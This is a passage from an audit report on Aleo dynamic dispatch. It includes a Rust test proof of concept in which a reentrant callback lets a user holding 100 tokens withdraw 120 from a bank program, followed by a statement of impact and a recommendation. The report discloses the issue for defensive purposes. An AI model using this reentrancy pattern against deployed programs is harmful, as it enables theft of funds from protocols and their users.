    cast r0 r1 into r4 as token.record;
    call callback_handler.aleo/execute_callback r2 r3 r0 r1 into r5;
    async withdraw r0 r1 r5 into r6;
    output r4 as token.record;
    output r6 as bank.aleo/withdraw.future;

finalize withdraw:
    input r0 as address.public;
    input r1 as u64.public;
    input r2 as callback_handler.aleo/execute_callback.future;
    get balances[r0] into r3;
    gte r3 r1 into r4;
    assert.eq r4 true;
    await r2;
    sub r3 r1 into r5;
    set r5 into balances[r0];

constructor:
    assert.eq true true;
"
    .to_string();

    // Parse programs.
    let callback_handler_program = Program::<CurrentNetwork>::from_str(&callback_handler_program_str).unwrap();
    let bank_program = Program::<CurrentNetwork>::from_str(&bank_program_str).unwrap();

    // Deploy callback_handler first (since bank imports it).
    let deployment1 = vm.deploy(&caller_private_key, &callback_handler_program, None, 0, None, rng).unwrap();
    add_and_test(&vm, &caller_private_key, &[deployment1], rng);

    // Deploy bank.
    let deployment2 = vm.deploy(&caller_private_key, &bank_program, None, 0, None, rng).unwrap();
    add_and_test(&vm, &caller_private_key, &[deployment2], rng);

    // Deposit 100 tokens for the caller.
    let deposit_tx = vm
        .execute(
            &caller_private_key,
            ("bank.aleo", "deposit"),
            vec![Value::from_str("100u64").unwrap()].into_iter(),
            None,
            0,
            None,
            rng,
        )
        .unwrap();
    add_and_test(&vm, &caller_private_key, &[deposit_tx], rng);

    // Verify initial balance is 100.
    let bank_program_id = ProgramID::<CurrentNetwork>::from_str("bank.aleo").unwrap();
    let balances_mapping = Identifier::<CurrentNetwork>::from_str("balances").unwrap();
    let caller_key = Plaintext::<CurrentNetwork>::from(Literal::Address(caller_address));

    let initial_balance =
        vm.finalize_store().get_value_confirmed(bank_program_id, balances_mapping, &caller_key).unwrap().unwrap();
    assert_eq!(initial_balance, Value::from_str("100u64").unwrap());

    // Execute the attack: withdraw with reentrant callback.
    let attack_tx = vm
        .execute(
            &caller_private_key,
            ("bank.aleo", "withdraw"),
            vec![
                Value::from_str(&format!("{caller_address}")).unwrap(),
                Value::from_str("60u64").unwrap(),
                Value::from_str(&format!("{callback_handler_field}")).unwrap(),
                Value::from_str(&format!("{reentrant_withdraw_field}")).unwrap(),
            ]
            .into_iter(),
            None,
            0,
            None,
            rng,
        )
        .unwrap();

    // Try to execute the attack transaction.
    let block = sample_next_block(&vm, &caller_private_key, &[attack_tx.clone()], rng).unwrap();
    assert_eq!(block.transactions().num_accepted(), 1);
    assert_eq!(block.transactions().num_rejected(), 0);
    for rejected in block.transactions().iter() {
        if let ConfirmedTransaction::RejectedExecute(_, _, exec, _) = rejected {
            println!("Rejected: {:?}", exec);
        }
    }

    // Next block
    vm.add_next_block(&block).unwrap();

    // Verify the vulnerability: check the final balance.
    let final_balance =
        vm.finalize_store().get_value_confirmed(bank_program_id, balances_mapping, &caller_key).unwrap().unwrap();

    // Count bank.withdraw transitions (each creates a token record).
    let execution = attack_tx.execution().unwrap();
    let withdraw_transitions: Vec<_> = execution
        .transitions()
        .filter(|t| t.program_id().to_string() == "bank.aleo" && t.function_name().to_string() == "withdraw")
        .collect();
    let token_records_created = withdraw_transitions.len();
    let tokens_withdrawn = token_records_created as u64 * 60;
    let balance_str = final_balance.to_string();
    assert_eq!(token_records_created, 2, "Expected 2 token records from reentrancy");
    assert_eq!(final_balance, Value::from_str("40u64").unwrap(), "Expected final balance of 40");
    assert_eq!(tokens_withdrawn, 120, "Expected 120 tokens withdrawn via records");
}
```

**Impact**.
The introduction of dynamic dispatch enables reentrancy attacks on Aleo programs that were previously secure. As demonstrated, an attacker can exploit the check-call-update pattern to withdraw more funds than their balance permits. In the test case, a user with 100 tokens can withdraw 120 tokens (two withdrawals of 60 each via reentrancy), effectively stealing funds from the protocol. Any program that performs external calls before updating state is vulnerable, and existing deployed programs that relied on the implicit reentrancy protection of static dispatch become exploitable after dynamic dispatch is enabled.

**Recommendation**. After review, reentrancy has been accepted as an intentional design choice in the dynamic dispatch model. Program developers should be aware that reentrancy is now possible and must design their programs accordingly (e.g., using checks-effects-interactions patterns or reentrancy guards where needed).

---

This report was published on the [zkSecurity Audit Reports](https://reports.zksecurity.xyz) site by [ZK Security](https://www.zksecurity.xyz), a leading security firm specialized in zero-knowledge proofs, MPC, FHE, and advanced cryptography. For the full list of audit reports, see [llms.txt](https://reports.zksecurity.xyz/llms.txt).
